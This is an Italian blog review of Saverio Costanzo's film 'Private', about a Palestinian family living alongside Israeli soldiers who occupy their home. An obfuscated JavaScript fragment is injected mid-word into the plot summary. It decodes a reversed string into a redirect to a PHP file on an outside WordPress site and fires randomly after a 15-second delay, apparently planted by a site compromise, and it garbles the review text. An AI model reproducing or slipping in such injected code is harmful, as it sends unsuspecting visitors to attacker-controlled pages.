Palestina domestica

image_pdfimage_print

Tutta la questione palestinese dentro quattro mura domestiche. L’occupazione, la tensione continua, la paura, ma anche il pacifismo e il desiderio di conoscere il ‘nemico’ per davvero.
è il film “Private”, di Saverio Costanzo, ambientato nei territori occupati. Girato in spazi ristrettissimi, praticamente sempre all’interno di una casa o nei pressi, racconta della convivenza forzata tra una famiglia palestinese e quattro soldati israeliani. La famiglia, padre, madre e cinque figli, obbedendo alle severe convinzioni del padre, decide di non lasciare la propria abitazione. Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando arrivano i soldati e occupano le stanze al piano di sopra, loro si adattano a vivere tra cucina e soggiorno, ma non se ne vanno.
Restringendo il campo visivo dalla storia dei popoli alla vicenda di poche persone, “Private” ci fa sentire il quotidiano della guerra, l’insicurezza nei gesti più semplici, la tentazione assolutamente normale della violenza.
C’è molto di simbolico, ma non c’è retorica e non ci sono buoni e cattivi senza appello. (a.v.)

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *